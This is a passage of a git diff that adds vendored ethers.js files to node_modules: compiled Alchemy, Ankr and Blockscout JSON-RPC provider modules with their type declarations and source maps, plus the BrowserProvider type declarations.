Goerli Testnet (``optimism-goerli``) + * - Optimism Sepolia Testnet (``optimism-sepolia``) + * - Polygon (``matic``) + * - Polygon Amoy Testnet (``matic-amoy``) + * - Polygon Mumbai Testnet (``matic-mumbai``) + * + * @_subsection: api/providers/thirdparty:Alchemy [providers-alchemy] + */ +import { defineProperties, resolveProperties, assert, assertArgument, FetchRequest } from "../utils/index.js"; +import { showThrottleMessage } from "./community.js"; +import { Network } from "./network.js"; +import { JsonRpcProvider } from "./provider-jsonrpc.js"; +const defaultApiKey = "_gg7wSSi0KMBsdKnGVfHDueq6xMB9EkC"; +function getHost(name) { + switch (name) { + case "mainnet": + return "eth-mainnet.alchemyapi.io"; + case "goerli": + return "eth-goerli.g.alchemy.com"; + case "sepolia": + return "eth-sepolia.g.alchemy.com"; + case "arbitrum": + return "arb-mainnet.g.alchemy.com"; + case "arbitrum-goerli": + return "arb-goerli.g.alchemy.com"; + case "arbitrum-sepolia": + return "arb-sepolia.g.alchemy.com"; + case "base": + return "base-mainnet.g.alchemy.com"; + case "base-goerli": + return "base-goerli.g.alchemy.com"; + case "base-sepolia": + return "base-sepolia.g.alchemy.com"; + case "matic": + return "polygon-mainnet.g.alchemy.com"; + case "matic-amoy": + return "polygon-amoy.g.alchemy.com"; + case "matic-mumbai": + return "polygon-mumbai.g.alchemy.com"; + case "optimism": + return "opt-mainnet.g.alchemy.com"; + case "optimism-goerli": + return "opt-goerli.g.alchemy.com"; + case "optimism-sepolia": + return "opt-sepolia.g.alchemy.com"; + } + assertArgument(false, "unsupported network", "network", name); +} +/** + * The **AlchemyProvider** connects to the [[link-alchemy]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-alchemy-signup). + * + * @_docloc: api/providers/thirdparty + */ +export class AlchemyProvider extends JsonRpcProvider { + apiKey; + constructor(_network, apiKey) { + if (_network == null) { + _network = "mainnet"; + } + const network = Network.from(_network); + if (apiKey == null) { + apiKey = defaultApiKey; + } + const request = AlchemyProvider.getRequest(network, apiKey); + super(request, network, { staticNetwork: network }); + defineProperties(this, { apiKey }); + } + _getProvider(chainId) { + try { + return new AlchemyProvider(chainId, this.apiKey); + } + catch (error) { } + return super._getProvider(chainId); + } + async _perform(req) { + // https://docs.alchemy.com/reference/trace-transaction + if (req.method === "getTransactionResult") { + const { trace, tx } = await resolveProperties({ + trace: this.send("trace_transaction", [req.hash]), + tx: this.getTransaction(req.hash) + }); + if (trace == null || tx == null) { + return null; + } + let data; + let error = false; + try { + data = trace[0].result.output; + error = (trace[0].error === "Reverted"); + } + catch (error) { } + if (data) { + assert(!error, "an error occurred during transaction executions", "CALL_EXCEPTION", { + action: "getTransactionResult", + data, + reason: null, + transaction: tx, + invocation: null, + revert: null // @TODO + }); + return data; + } + assert(false, "could not parse trace result", "BAD_DATA", { value: trace }); + } + return await super._perform(req); + } + isCommunityResource() { + return (this.apiKey === defaultApiKey); + } + static getRequest(network, apiKey) { + if (apiKey == null) { + apiKey = defaultApiKey; + } + const request = new FetchRequest(`https:/\/${getHost(network.name)}/v2/${apiKey}`); + request.allowGzip = true; + if (apiKey === defaultApiKey) { + request.retryFunc = async (request, response, attempt) => { + showThrottleMessage("alchemy"); + return true; + }; + } + return request; + } +} +//# sourceMappingURL=provider-alchemy.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-alchemy.js.map b/node_modules/ethers/lib.esm/providers/provider-alchemy.js.map new file mode 100644 index 000000000000..b9b137a4c499 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-alchemy.js.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-alchemy.js","sourceRoot":"","sources":["../../src.ts/providers/provider-alchemy.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;GAuBG;AAEH,OAAO,EACH,gBAAgB,EAAE,iBAAiB,EAAE,MAAM,EAAE,cAAc,EAC3D,YAAY,EACf,MAAM,mBAAmB,CAAC;AAE3B,OAAO,EAAE,mBAAmB,EAAE,MAAM,gBAAgB,CAAC;AACrD,OAAO,EAAE,OAAO,EAAE,MAAM,cAAc,CAAC;AACvC,OAAO,EAAE,eAAe,EAAE,MAAM,uBAA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sBAAsB;oBAC9B,IAAI;oBACJ,MAAM,EAAE,IAAI;oBACZ,WAAW,EAAE,EAAE;oBACf,UAAU,EAAE,IAAI;oBAChB,MAAM,EAAE,IAAI,CAAC,QAAQ;iBACxB,CAAC,CAAC;gBACH,OAAO,IAAI,CAAC;aACf;YAED,MAAM,CAAC,KAAK,EAAE,8BAA8B,EAAE,UAAU,EAAE,EAAE,KAAK,EAAE,KAAK,EAAE,CAAC,CAAC;SAC/E;QAED,OAAO,MAAM,KAAK,CAAC,QAAQ,CAAC,GAAG,CAAC,CAAC;IACrC,CAAC;IAED,mBAAmB;QACf,OAAO,CAAC,IAAI,CAAC,MAAM,KAAK,aAAa,CAAC,CAAC;IAC3C,CAAC;IAED,MAAM,CAAC,UAAU,CAAC,OAAgB,EAAE,MAAe;QAC/C,IAAI,MAAM,IAAI,IAAI,EAAE;YAAE,MAAM,GAAG,aAAa,CAAC;SAAE;QAE/C,MAAM,OAAO,GAAG,IAAI,YAAY,CAAC,YAAa,OAAO,CAAC,OAAO,CAAC,IAAI,CAAE,OAAQ,MAAO,EAAE,CAAC,CAAC;QACvF,OAAO,CAAC,SAAS,GAAG,IAAI,CAAC;QAEzB,IAAI,MAAM,KAAK,aAAa,EAAE;YAC1B,OAAO,CAAC,SAAS,GAAG,KAAK,EAAE,OAAO,EAAE,QAAQ,EAAE,OAAO,EAAE,EAAE;gBACrD,mBAAmB,CAAC,SAAS,CAAC,CAAC;gBAC/B,OAAO,IAAI,CAAC;YAChB,CAAC,CAAA;SACJ;QAED,OAAO,OAAO,CAAC;IACnB,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-ankr.d.ts b/node_modules/ethers/lib.esm/providers/provider-ankr.d.ts new file mode 100644 index 000000000000..fcbfb93f6db3 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-ankr.d.ts @@ -0,0 +1,61 @@ +/** + * [[link-ankr]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Sepolia Testnet (``sepolia``) + * - Arbitrum (``arbitrum``) + * - Base (``base``) + * - Base Goerlia Testnet (``base-goerli``) + * - Base Sepolia Testnet (``base-sepolia``) + * - BNB (``bnb``) + * - BNB Testnet (``bnbt``) + * - Optimism (``optimism``) + * - Optimism Goerli Testnet (``optimism-goerli``) + * - Optimism Sepolia Testnet (``optimism-sepolia``) + * - Polygon (``matic``) + * - Polygon Mumbai Testnet (``matic-mumbai``) + * + * @_subsection: api/providers/thirdparty:Ankr [providers-ankr] + */ +import { FetchRequest } from "../utils/index.js"; +import { AbstractProvider } from "./abstract-provider.js"; +import { Network } from "./network.js"; +import { JsonRpcProvider } from "./provider-jsonrpc.js"; +import type { CommunityResourcable } from "./community.js"; +import type { Networkish } from "./network.js"; +import type { JsonRpcError, JsonRpcPayload } from "./provider-jsonrpc.js"; +/** + * The **AnkrProvider** connects to the [[link-ankr]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-ankr-signup). + */ +export declare class AnkrProvider extends JsonRpcProvider implements CommunityResourcable { + /** + * The API key for the Ankr connection. + */ + readonly apiKey: string; + /** + * Create a new **AnkrProvider**. + * + * By default connecting to ``mainnet`` with a highly throttled + * API key. + */ + constructor(_network?: Networkish, apiKey?: null | string); + _getProvider(chainId: number): AbstractProvider; + /** + * Returns a prepared request for connecting to %%network%% with + * %%apiKey%%. + */ + static getRequest(network: Network, apiKey?: null | string): FetchRequest; + getRpcError(payload: JsonRpcPayload, error: JsonRpcError): Error; + isCommunityResource(): boolean; +} +//# sourceMappingURL=provider-ankr.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-ankr.d.ts.map b/node_modules/ethers/lib.esm/providers/provider-ankr.d.ts.map new file mode 100644 index 000000000000..0f45ec5667a7 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-ankr.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-ankr.d.ts","sourceRoot":"","sources":["../../src.ts/providers/provider-ankr.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;GAsBG;AACH,OAAO,EACe,YAAY,EACjC,MAAM,mBAAmB,CAAC;AAE3B,OAAO,EAAE,gBAAgB,EAAE,MAAM,wBAAwB,CAAC;AAE1D,OAAO,EAAE,OAAO,EAAE,MAAM,cAAc,CAAC;AACvC,OAAO,EAAE,eAAe,EAAE,MAAM,uBAAuB,CAAC;AAExD,OAAO,KAAK,EAAE,oBAAoB,EAAE,MAAM,gBAAgB,CAAC;AAC3D,OAAO,KAAK,EAAE,UAAU,EAAE,MAAM,cAAc,CAAC;AAC/C,OAAO,KAAK,EAAE,YAAY,EAAE,cAAc,EAAE,MAAM,uBAAuB,CAAC;AA0C1E;;;;;;;;GAQG;AACH,qBAAa,YAAa,SAAQ,eAAgB,YAAW,oBAAoB;IAE7E;;OAEG;IACH,QAAQ,CAAC,MAAM,EAAG,MAAM,CAAC;IAEzB;;;;;OAKG;gBACS,QAAQ,CAAC,EAAE,UAAU,EAAE,MAAM,CAAC,EAAE,IAAI,GAAG,MAAM;IAczD,YAAY,CAAC,OAAO,EAAE,MAAM,GAAG,gBAAgB;IAO/C;;;OAGG;IACH,MAAM,CAAC,UAAU,CAAC,OAAO,EAAE,OAAO,EAAE,MAAM,CAAC,EAAE,IAAI,GAAG,MAAM,GAAG,YAAY;IAgBzE,WAAW,CAAC,OAAO,EAAE,cAAc,EAAE,KAAK,EAAE,YAAY,GAAG,KAAK;IAUhE,mBAAmB,IAAI,OAAO;CAGjC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-ankr.js b/node_modules/ethers/lib.esm/providers/provider-ankr.js new file mode 100644 index 000000000000..71a62a7f2b2e --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-ankr.js @@ -0,0 +1,133 @@ +/** + * [[link-ankr]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Sepolia Testnet (``sepolia``) + * - Arbitrum (``arbitrum``) + * - Base (``base``) + * - Base Goerlia Testnet (``base-goerli``) + * - Base Sepolia Testnet (``base-sepolia``) + * - BNB (``bnb``) + * - BNB Testnet (``bnbt``) + * - Optimism (``optimism``) + * - Optimism Goerli Testnet (``optimism-goerli``) + * - Optimism Sepolia Testnet (``optimism-sepolia``) + * - Polygon (``matic``) + * - Polygon Mumbai Testnet (``matic-mumbai``) + * + * @_subsection: api/providers/thirdparty:Ankr [providers-ankr] + */ +import { defineProperties, FetchRequest, assertArgument } from "../utils/index.js"; +import { showThrottleMessage } from "./community.js"; +import { Network } from "./network.js"; +import { JsonRpcProvider } from "./provider-jsonrpc.js"; +const defaultApiKey = "9f7d929b018cdffb338517efa06f58359e86ff1ffd350bc889738523659e7972"; +function getHost(name) { + switch (name) { + case "mainnet": + return "rpc.ankr.com/eth"; + case "goerli": + return "rpc.ankr.com/eth_goerli"; + case "sepolia": + return "rpc.ankr.com/eth_sepolia"; + case "arbitrum": + return "rpc.ankr.com/arbitrum"; + case "base": + return "rpc.ankr.com/base"; + case "base-goerli": + return "rpc.ankr.com/base_goerli"; + case "base-sepolia": + return "rpc.ankr.com/base_sepolia"; + case "bnb": + return "rpc.ankr.com/bsc"; + case "bnbt": + return "rpc.ankr.com/bsc_testnet_chapel"; + case "matic": + return "rpc.ankr.com/polygon"; + case "matic-mumbai": + return "rpc.ankr.com/polygon_mumbai"; + case "optimism": + return "rpc.ankr.com/optimism"; + case "optimism-goerli": + return "rpc.ankr.com/optimism_testnet"; + case "optimism-sepolia": + return "rpc.ankr.com/optimism_sepolia"; + } + assertArgument(false, "unsupported network", "network", name); +} +/** + * The **AnkrProvider** connects to the [[link-ankr]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-ankr-signup). + */ +export class AnkrProvider extends JsonRpcProvider { + /** + * The API key for the Ankr connection. + */ + apiKey; + /** + * Create a new **AnkrProvider**. + * + * By default connecting to ``mainnet`` with a highly throttled + * API key. + */ + constructor(_network, apiKey) { + if (_network == null) { + _network = "mainnet"; + } + const network = Network.from(_network); + if (apiKey == null) { + apiKey = defaultApiKey; + } + // Ankr does not support filterId, so we force polling + const options = { polling: true, staticNetwork: network }; + const request = AnkrProvider.getRequest(network, apiKey); + super(request, network, options); + defineProperties(this, { apiKey }); + } + _getProvider(chainId) { + try { + return new AnkrProvider(chainId, this.apiKey); + } + catch (error) { } + return super._getProvider(chainId); + } + /** + * Returns a prepared request for connecting to %%network%% with + * %%apiKey%%. + */ + static getRequest(network, apiKey) { + if (apiKey == null) { + apiKey = defaultApiKey; + } + const request = new FetchRequest(`https:/\/${getHost(network.name)}/${apiKey}`); + request.allowGzip = true; + if (apiKey === defaultApiKey) { + request.retryFunc = async (request, response, attempt) => { + showThrottleMessage("AnkrProvider"); + return true; + }; + } + return request; + } + getRpcError(payload, error) { + if (payload.method === "eth_sendRawTransaction") { + if (error && error.error && error.error.message === "INTERNAL_ERROR: could not replace existing tx") { + error.error.message = "replacement transaction underpriced"; + } + } + return super.getRpcError(payload, error); + } + isCommunityResource() { + return (this.apiKey === defaultApiKey); + } +} +//# sourceMappingURL=provider-ankr.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-ankr.js.map b/node_modules/ethers/lib.esm/providers/provider-ankr.js.map new file mode 100644 index 000000000000..e6354cc1ae97 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-ankr.js.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-ankr.js","sourceRoot":"","sources":["../../src.ts/providers/provider-ankr.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;GAsBG;AACH,OAAO,EACH,gBAAgB,E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QACpD,IAAI,OAAO,CAAC,MAAM,KAAK,wBAAwB,EAAE;YAC7C,IAAI,KAAK,IAAI,KAAK,CAAC,KAAK,IAAI,KAAK,CAAC,KAAK,CAAC,OAAO,KAAK,+CAA+C,EAAE;gBACjG,KAAK,CAAC,KAAK,CAAC,OAAO,GAAG,qCAAqC,CAAC;aAC/D;SACJ;QAED,OAAO,KAAK,CAAC,WAAW,CAAC,OAAO,EAAE,KAAK,CAAC,CAAC;IAC7C,CAAC;IAED,mBAAmB;QACf,OAAO,CAAC,IAAI,CAAC,MAAM,KAAK,aAAa,CAAC,CAAC;IAC3C,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-blockscout.d.ts b/node_modules/ethers/lib.esm/providers/provider-blockscout.d.ts new file mode 100644 index 000000000000..be8c395e203b --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-blockscout.d.ts @@ -0,0 +1,59 @@ +/** + * [[link-blockscout]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Sepolia Testnet (``sepolia``) + * - Holesky Testnet (``holesky``) + * - Ethereum Classic (``classic``) + * - Arbitrum (``arbitrum``) + * - Base (``base``) + * - Base Sepolia Testnet (``base-sepolia``) + * - Gnosis (``xdai``) + * - Optimism (``optimism``) + * - Optimism Sepolia Testnet (``optimism-sepolia``) + * - Polygon (``matic``) + * + * @_subsection: api/providers/thirdparty:Blockscout [providers-blockscout] + */ +import { FetchRequest } from "../utils/index.js"; +import { Network } from "./network.js"; +import { JsonRpcProvider } from "./provider-jsonrpc.js"; +import type { AbstractProvider, PerformActionRequest } from "./abstract-provider.js"; +import type { CommunityResourcable } from "./community.js"; +import type { Networkish } from "./network.js"; +import type { JsonRpcPayload, JsonRpcError } from "./provider-jsonrpc.js"; +/** + * The **BlockscoutProvider** connects to the [[link-blockscout]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-blockscout). + */ +export declare class BlockscoutProvider extends JsonRpcProvider implements CommunityResourcable { + /** + * The API key. + */ + readonly apiKey: null | string; + /** + * Creates a new **BlockscoutProvider**. + */ + constructor(_network?: Networkish, apiKey?: null | string); + _getProvider(chainId: number): AbstractProvider; + isCommunityResource(): boolean; + getRpcRequest(req: PerformActionRequest): null | { + method: string; + args: Array; + }; + getRpcError(payload: JsonRpcPayload, _error: JsonRpcError): Error; + /** + * Returns a prepared request for connecting to %%network%% + * with %%apiKey%%. + */ + static getRequest(network: Network): FetchRequest; +} +//# sourceMappingURL=provider-blockscout.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-blockscout.d.ts.map b/node_modules/ethers/lib.esm/providers/provider-blockscout.d.ts.map new file mode 100644 index 000000000000..41eb14f60993 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-blockscout.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-blockscout.d.ts","sourceRoot":"","sources":["../../src.ts/providers/provider-blockscout.ts"],"names":[],"mappings":"AACA;;;;;;;;;;;;;;;;;;;GAmBG;AACH,OAAO,EAC+B,YAAY,EACjD,MAAM,mBAAmB,CAAC;AAE3B,OAAO,EAAE,OAAO,EAAE,MAAM,cAAc,CAAC;AACvC,OAAO,EAAE,eAAe,EAAE,MAAM,uBAAuB,CAAC;AAExD,OAAO,KAAK,EAAE,gBAAgB,EAAE,oBAAoB,EAAE,MAAM,wBAAwB,CAAC;AACrF,OAAO,KAAK,EAAE,oBAAoB,EAAE,MAAM,gBAAgB,CAAC;AAC3D,OAAO,KAAK,EAAE,UAAU,EAAE,MAAM,cAAc,CAAC;AAC/C,OAAO,KAAK,EAAE,cAAc,EAAE,YAAY,EAAE,MAAM,uBAAuB,CAAC;AAuC1E;;;;;;;;GAQG;AACH,qBAAa,kBAAmB,SAAQ,eAAgB,YAAW,oBAAoB;IACnF;;OAEG;IACH,QAAQ,CAAC,MAAM,EAAG,IAAI,GAAG,MAAM,CAAC;IAEhC;;OAEG;gBACS,QAAQ,CAAC,EAAE,UAAU,EAAE,MAAM,CAAC,EAAE,IAAI,GAAG,MAAM;IAYzD,YAAY,CAAC,OAAO,EAAE,MAAM,GAAG,gBAAgB;IAO/C,mBAAmB,IAAI,OAAO;IAI9B,aAAa,CAAC,GAAG,EAAE,oBAAoB,GAAG,IAAI,GAAG;QAAE,MAAM,EAAE,MAAM,CAAC;QAAC,IAAI,EAAE,KAAK,CAAC,GAAG,CAAC,CAAA;KAAE;IAUrF,WAAW,CAAC,OAAO,EAAE,cAAc,EAAE,MAAM,EAAE,YAAY,GAAG,KAAK;IAoCjE;;;OAGG;IACH,MAAM,CAAC,UAAU,CAAC,OAAO,EAAE,OAAO,GAAG,YAAY;CAKpD"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-blockscout.js b/node_modules/ethers/lib.esm/providers/provider-blockscout.js new file mode 100644 index 000000000000..cbf11901330e --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-blockscout.js @@ -0,0 +1,141 @@ +/** + * [[link-blockscout]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Sepolia Testnet (``sepolia``) + * - Holesky Testnet (``holesky``) + * - Ethereum Classic (``classic``) + * - Arbitrum (``arbitrum``) + * - Base (``base``) + * - Base Sepolia Testnet (``base-sepolia``) + * - Gnosis (``xdai``) + * - Optimism (``optimism``) + * - Optimism Sepolia Testnet (``optimism-sepolia``) + * - Polygon (``matic``) + * + * @_subsection: api/providers/thirdparty:Blockscout [providers-blockscout] + */ +import { assertArgument, defineProperties, FetchRequest, isHexString } from "../utils/index.js"; +import { Network } from "./network.js"; +import { JsonRpcProvider } from "./provider-jsonrpc.js"; +function getUrl(name) { + switch (name) { + case "mainnet": + return "https:/\/eth.blockscout.com/api/eth-rpc"; + case "sepolia": + return "https:/\/eth-sepolia.blockscout.com/api/eth-rpc"; + case "holesky": + return "https:/\/eth-holesky.blockscout.com/api/eth-rpc"; + case "classic": + return "https:/\/etc.blockscout.com/api/eth-rpc"; + case "arbitrum": + return "https:/\/arbitrum.blockscout.com/api/eth-rpc"; + case "base": + return "https:/\/base.blockscout.com/api/eth-rpc"; + case "base-sepolia": + return "https:/\/base-sepolia.blockscout.com/api/eth-rpc"; + case "matic": + return "https:/\/polygon.blockscout.com/api/eth-rpc"; + case "optimism": + return "https:/\/optimism.blockscout.com/api/eth-rpc"; + case "optimism-sepolia": + return "https:/\/optimism-sepolia.blockscout.com/api/eth-rpc"; + case "xdai": + return "https:/\/gnosis.blockscout.com/api/eth-rpc"; + } + assertArgument(false, "unsupported network", "network", name); +} +/** + * The **BlockscoutProvider** connects to the [[link-blockscout]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-blockscout). + */ +export class BlockscoutProvider extends JsonRpcProvider { + /** + * The API key. + */ + apiKey; + /** + * Creates a new **BlockscoutProvider**. + */ + constructor(_network, apiKey) { + if (_network == null) { + _network = "mainnet"; + } + const network = Network.from(_network); + if (apiKey == null) { + apiKey = null; + } + const request = BlockscoutProvider.getRequest(network); + super(request, network, { staticNetwork: network }); + defineProperties(this, { apiKey }); + } + _getProvider(chainId) { + try { + return new BlockscoutProvider(chainId, this.apiKey); + } + catch (error) { } + return super._getProvider(chainId); + } + isCommunityResource() { + return (this.apiKey === null); + } + getRpcRequest(req) { + // Blockscout enforces the TAG argument for estimateGas + const resp = super.getRpcRequest(req); + if (resp && resp.method === "eth_estimateGas" && resp.args.length == 1) { + resp.args = resp.args.slice(); + resp.args.push("latest"); + } + return resp; + } + getRpcError(payload, _error) { + const error = _error ? _error.error : null; + // Blockscout currently drops the VM result and replaces it with a + // human-readable string, so we need to make it machine-readable. + if (error && error.code === -32015 && !isHexString(error.data || "", true)) { + const panicCodes = { + "assert(false)": "01", + "arithmetic underflow or overflow": "11", + "division or modulo by zero": "12", + "out-of-bounds array access; popping on an empty array": "31", + "out-of-bounds access of an array or bytesN": "32" + }; + let panicCode = ""; + if (error.message === "VM execution error.") { + // eth_call passes this message + panicCode = panicCodes[error.data] || ""; + } + else if (panicCodes[error.message || ""]) { + panicCode = panicCodes[error.message || ""]; + } + if (panicCode) { + error.message += ` (reverted: ${error.data})`; + error.data = "0x4e487b7100000000000000000000000000000000000000000000000000000000000000" + panicCode; + } + } + else if (error && error.code === -32000) { + if (error.message === "wrong transaction nonce") { + error.message += " (nonce too low)"; + } + } + return super.getRpcError(payload, _error); + } + /** + * Returns a prepared request for connecting to %%network%% + * with %%apiKey%%. + */ + static getRequest(network) { + const request = new FetchRequest(getUrl(network.name)); + request.allowGzip = true; + return request; + } +} +//# sourceMappingURL=provider-blockscout.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-blockscout.js.map b/node_modules/ethers/lib.esm/providers/provider-blockscout.js.map new file mode 100644 index 000000000000..7ea66d1cd9d7 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-blockscout.js.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-blockscout.js","sourceRoot":"","sources":["../../src.ts/providers/provider-blockscout.ts"],"names":[],"mappings":"AACA;;;;;;;;;;;;;;;;;;;GAmBG;AACH,OAAO,EACH,cAAc,EAAE,gBAAgB,EAAE,YAAY,EAAE,WAAW,EAC9D,MAAM,mBAAmB,CAAC;AAE3B,OAAO,EAAE,OAAO,EAAE,MAAM,cAAc,CAAC;AACvC,OAAO,EAAE,eAAe,EAAE,MAAM,uBAAuB,CAAC;AAQxD,SAAS,MAAM,CAAC,IAAY;IACxB,QAAO,IAAI,EAAE;QACT,KAAK,SAAS;YACV,OAAO,yCAAyC,CAAC;QACrD,KAAK,SAAS;YACV,OAAO,iDAAiD,CAAC;QAC7D,KAAK,SAAS;YACV,OAAO,iDAAiD,CAAC;QAE7D,KAAK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AC,KAAK,CAAC,OAAO,IAAI,EAAE,CAAC,CAAC;aAC/C;YAED,IAAI,SAAS,EAAE;gBACX,KAAK,CAAC,OAAO,IAAI,eAAgB,KAAK,CAAC,IAAK,GAAG,CAAC;gBAChD,KAAK,CAAC,IAAI,GAAG,0EAA0E,GAAG,SAAS,CAAC;aACvG;SAEJ;aAAM,IAAI,KAAK,IAAI,KAAK,CAAC,IAAI,KAAK,CAAC,KAAK,EAAE;YACvC,IAAI,KAAK,CAAC,OAAO,KAAK,yBAAyB,EAAE;gBAC7C,KAAK,CAAC,OAAO,IAAI,kBAAkB,CAAC;aACvC;SACJ;QAED,OAAO,KAAK,CAAC,WAAW,CAAC,OAAO,EAAE,MAAM,CAAC,CAAC;IAC9C,CAAC;IAED;;;OAGG;IACH,MAAM,CAAC,UAAU,CAAC,OAAgB;QAC9B,MAAM,OAAO,GAAG,IAAI,YAAY,CAAC,MAAM,CAAC,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC;QACvD,OAAO,CAAC,SAAS,GAAG,IAAI,CAAC;QACzB,OAAO,OAAO,CAAC;IACnB,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-browser.d.ts b/node_modules/ethers/lib.esm/providers/provider-browser.d.ts new file mode 100644 index 000000000000..02a5e7786590 --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-browser.d.ts @@ -0,0 +1,108 @@ +import { JsonRpcApiPollingProvider } from "./provider-jsonrpc.js"; +import type { JsonRpcError, JsonRpcPayload, JsonRpcResult, JsonRpcSigner } from "./provider-jsonrpc.js"; +import type { Network, Networkish } from "./network.js"; +/** + * The interface to an [[link-eip-1193]] provider, which is a standard + * used by most injected providers, which the [[BrowserProvider]] accepts + * and exposes the API of. + */ +export interface Eip1193Provider { + /** + * See [[link-eip-1193]] for details on this method. + */ + request(request: { + method: string; + params?: Array | Record; + }): Promise; +} +/** + * The possible additional events dispatched when using the ``"debug"`` + * event on a [[BrowserProvider]]. + */ +export type DebugEventBrowserProvider = { + action: "sendEip1193Payload"; + payload: { + method: string; + params: Array; + }; +} | { + action: "receiveEip1193Result"; + result: any; +} | { + action: "receiveEip1193Error"; + error: Error; +}; +/** + * Provider info provided by the [[link-eip-6963]] discovery mechanism. + */ +export interface Eip6963ProviderInfo { + uuid: string; + name: string; + icon: string; + rdns: string; +} +export type BrowserProviderOptions = { + polling?: boolean; + staticNetwork?: null | boolean | Network; + cacheTimeout?: number; + pollingInterval?: number; + providerInfo?: Eip6963ProviderInfo; +}; +/** + * Specifies how [[link-eip-6963]] discovery should proceed. + * + * See: [[BrowserProvider-discover]] + */ +export interface BrowserDiscoverOptions { + /** + * Override provider detection with this provider. + */ + provider?: Eip1193Provider; + /** + * Duration to wait to detect providers. (default: 300ms) + */ + timeout?: number; + /** + * Return the first detected provider. Otherwise wait for %%timeout%% + * and allowing filtering before selecting the desired provider. + */ + anyProvider?: boolean; + /** + * Use the provided window context. Useful in non-standard + * environments or to hijack where a provider comes from. + */ + window?: any; + /** + * Explicitly choose which provider to used once scanning is complete. + */ + filter?: (found: Array) => null | BrowserProvider | Eip6963ProviderInfo; +} +/** + * A **BrowserProvider** is intended to wrap an injected provider which + * adheres to the [[link-eip-1193]] standard, which most (if not all) + * currently do. + */ +export declare class BrowserProvider extends JsonRpcApiPollingProvider { + #private; + /** + * Connect to the %%ethereum%% provider, optionally forcing the + * %%network%%. + */ + constructor(ethereum: Eip1193Provider, network?: Networkish, _options?: BrowserProviderOptions); + get providerInfo(): null | Eip6963ProviderInfo; + send(method: string, params: Array | Record): Promise; + _send(payload: JsonRpcPayload | Array): Promise>; + getRpcError(payload: JsonRpcPayload, error: JsonRpcError): Error; + /** + * Resolves to ``true`` if the provider manages the %%address%%. + */ + hasSigner(address: number | string): Promise; + getSigner(address?: number | string): Promise; + /** + * Discover and connect to a Provider in the Browser using the + * [[link-eip-6963]] discovery mechanism. If no providers are + * present, ``null`` is resolved. + */ + static discover(options?: BrowserDiscoverOptions): Promise; +} +//# sourceMappingURL=provider-browser.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/providers/provider-browser.d.ts.map b/node_modules/ethers/lib.esm/providers/provider-browser.d.ts.map new file mode 100644 index 000000000000..82554ebb11ac --- /dev/null +++ b/node_modules/ethers/lib.esm/providers/provider-browser.d.ts.map @@ -0,0 +1 @@ 